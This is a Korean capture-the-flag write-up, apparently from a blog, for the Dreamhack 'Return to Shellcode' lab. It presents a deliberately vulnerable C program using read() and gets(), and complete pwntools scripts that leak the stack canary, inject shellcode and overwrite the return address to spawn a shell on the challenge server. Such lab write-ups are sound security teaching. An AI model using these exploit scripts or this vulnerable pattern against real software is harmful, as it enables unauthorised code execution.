본 실습에서는 카나리를 우회하고, 셸 코드와 Return Address Overwrite를 이용하여 셸을 획득하는 실습을 진행할 예정이다.
📌 실습 예제 코드
// Name: r2s.c // Compile: gcc -o r2s r2s.c -zexecstack #include <stdio.h> #include <unistd.h> int main() { char buf[0x50]; printf("Address of the buf: %p\n", buf); printf("Distance between buf and $rbp: %ld\n", (char*)__builtin_frame_address(0) - buf); printf("[1] Leak the canary\n"); printf("Input: "); fflush(stdout); read(0, buf, 0x100); printf("Your input is '%s'\n", buf); puts("[2] Overwrite the return address"); printf("Input: "); fflush(stdout); gets(buf); return 0; }
01 분석
(1) 보호기법 탐지
위 예제코드 컴파일을 진행한 후 보호기법을 파악해보기 위해 checksec 툴을 사용하여 바이너리에 적용된 보호기법을 확인해보자.
이를 통해 r2s 바이너리에 카나리가 적용되어 있음을 확인할 수 있다.
(2) 취약점 탐색
위 예제 코드에서 작성한 부분을 하나씩 자세히 살펴보며 취약점을 분석해보자.
1. buf의 주소
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
이 부분에서는 실습의 편의를 위해 buf의 주소 및 rbp와 buf 사이의 주소 차이를 알려주고 있는 것을 볼 수 있다.
2. 스택 버퍼 오버플로우
char buf[0x50];
read(0, buf, 0x100); // 0x50 < 0x100
gets(buf); // Unsafe function
위 코드를 살펴보면 스택 버퍼인 buf에 총 두번의 입력을 받고, 두 입력 모두 오버플로우가 발생하고 있음을 확인할 수 있다. 따라서 해당 취약점을 이용해서 셸을 획득해야 한다.
(3) 익스플로잇 시나리오
1. 카나리 우회
두번째 입력으로 반환 주소를 덮을 수 있지만, 카나리가 조작될 경우 __stack_chk_fail 함수에 의해 프로그램이 강제로 종료되게 된다. 그러므로 첫 번째 입력에서 카나리를 먼저 구하고, 이를 활용하여 두 번째 입력에 사용해야 한다.
read(0, buf, 0x100); // Fill buf until it meets canary
printf("Your input is '%s'\n", buf);
첫 번째 입력의 바로 뒤에서 buf를 문자열로 출력해주기 때문에, buf에 적절한 오버플로우를 발생시키면 카나리 값을 구할 수 있다.
2. 셸 획득
카나리를 구한 후, 두번째 입력으로 반환주소를 덮을 수 있다. 이때, 셸을 획득하는 코드를 직접 주입하고 해당 주소로 실행 흐름을 옮기는 방식으로 진행할 수 있다. 주소를 알고 있는 buf에 셸 코드를 주입하고, 해당 주소로 실행 흐름을 옮기면 셸을 획득할 수 있다.
02 익스플로잇
(1) 스택 프레임 정보 수집
스택을 이용하여 공격해야 하므로, 스택 프레임의 구조를 파악하는 것이 우선이다. 예제 코드에서 스택 프레임의 buf 위치를 보여주고 있기 때문에 이를 적절히 파싱하고 process, recv, recvuntil, recvn, recvline 등의 함수를 사용하여 pwntools 스크립트 코드를 작성할 수 있다.
📌 r2s.py 코드
#!/usr/bin/env python3 # Name: r2s.py from pwn import * def slog(n, m): return success(': '.join([n, hex(m)])) p = process('./r2s') context.arch = 'amd64' # [1] Get information about buf p.recvuntil(b'buf: ') buf = int(p.recvline()[:-1], 16) slog('Address of buf', buf) p.recvuntil(b'$rbp: ') buf2sfp = int(p.recvline().split()[0]) buf2cnry = buf2sfp - 8 slog('buf <=> sfp', buf2sfp) slog('buf <=> canary', buf2cnry)
작성한 스크립트를 실행하면 아래와 같은 결과를 확인할 수 있다.
(2) 카나리 릭
스택 프레임에 대한 정보를 수집했으므로, 이를 활용하여 카나리를 구해야한다. buf와 카나리 사이를 임의의 값으로 채우면 프로그램에서 buf를 출력할 때 카나리가 함께 출력될 수 있다. 앞에서 구현한 스택 프레임의 구조를 고려하여 카나리를 구할 수 있는 스크립트를 추가해보자.
📌 카나리 출력 추가 코드
# [2] Leak canary value payload = b'A'*(buf2cnry + 1) # (+1) because of the first null-byte p.sendafter(b'Input:', payload) p.recvuntil(payload) cnry = u64(b'\x00'+p.recvn(7)) slog('Canary', cnry)
위 코드를 앞서 작성한 스크립트 코드에 추가해서 실행시키면 아래와 같은 스택프레임 결과를 확인할 수 있다.
(3) 익스플로잇
카나리를 구했으므로, buf에 셸코드를 주입하고, 카나리를 구한 값으로 덮은 후 반환 주소(RET)를 buf로 덮으면 셸코드가 실행될 수 있도록 할 수 있다. context.arch, shellcraft, asm을 이용하면 스크립트를 쉽게 추가할 수 있다.
📌 익스플로잇 추가 코드
# [3] Exploit sh = asm(shellcraft.sh()) payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf) # gets() receives input until '\n' is received p.sendlineafter(b'Input:', payload) p.interactive()
위 코드를 추가한 익스플로잇 코드를 실행시키면 아래와 같은 결과를 확인할 수 있다.
03 Return to Shellcode 문제풀이
위에서 작성한 익스플로잇 코드를 바탕으로 Return to Shellcode의 문제를 풀어보자.
문제 파일을 다운로드 받으면 다음과 같이 작성된 문제 코드를 확인할 수 있었다.
📌 문제 코드
// Name: r2s.c // Compile: gcc -o r2s r2s.c -zexecstack #include <stdio.h> #include <unistd.h> void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } int main() { char buf[0x50]; init(); printf("Address of the buf: %p\n", buf); printf("Distance between buf and $rbp: %ld\n", (char*)__builtin_frame_address(0) - buf); printf("[1] Leak the canary\n"); printf("Input: "); fflush(stdout); read(0, buf, 0x100); printf("Your input is '%s'\n", buf); puts("[2] Overwrite the return address"); printf("Input: "); fflush(stdout); gets(buf); return 0; }
문제 파일에서 함께 주어진 실행 파일을 실행시키면 다음과 같은 결과를 확인할 수 있다.
r2s를 실행시키면 buf와 rbp사이의 거리가 96Byte 밖에 안되는데, read로 256Byte만큼 입력을 받고 있기 때문에 카나리 릭을 할 수 있다. 그리고 gets() 함수로 크기에 제한 없이 입력을 받고 있어 RET까지 조작할 수 있다.
이 부분과 위에서 실습한 내용을 바탕으로 다음과 같이 익스플로잇 코드를 작성할 수 있다.
📌 exploit.py 코드
from pwn import * def slog(name, addr): return success(": ".join([name, hex(addr)])) #context.log_level = 'debug' context.arch = "amd64" p = remote("host3.dreamhack.games", 11219) e = ELF("./r2s") shellcode = asm(shellcraft.sh()) # Get buf address p.recvuntil("Address of the buf: ") buf = int(p.recv(14), 16) # Canary Leak payload = b'A' * 0x59 p.sendafter("Input: ", payload) p.recvuntil(payload) canary = u64(b'\x00' + p.recv(7)) slog("buf", buf) slog("canary", canary) # BOF payload = shellcode payload += b'A' * (88 - len(shellcode)) payload += p64(canary) payload += b"A" * 8 payload += p64(buf) p.sendlineafter("Input: ", payload) p.interactive()
위 익스플로잇 코드를 실행시키면 다음과 같이 셸이 실행되는 것을 확인할 수 있다.
해당 셸에서 ls 명령어를 통해 플래그 파일을 볼 수 있었고 해당 파일의 내용을 확인해보니 플래그 값을 찾을 수 있었다.
나온 플래그 값을 넣고 문제 풀이 성공-!
출처 : 드림핵 시스템해킹 로드맵 (https://dreamhack.io/lecture/roadmaps/2)
'Security > System Hacking' 카테고리의 다른 글
[Dreamhack] seccomp write-up (0) | 2024.09.23 |
---|---|
[Dreamhack] __environ write-up (0) | 2024.09.23 |
Stack Canary (0) | 2024.09.23 |
Return Address Overwrite (1) | 2024.09.15 |
[Stack Buffer Overflow] Return Address Overwrite (3) | 2024.09.15 |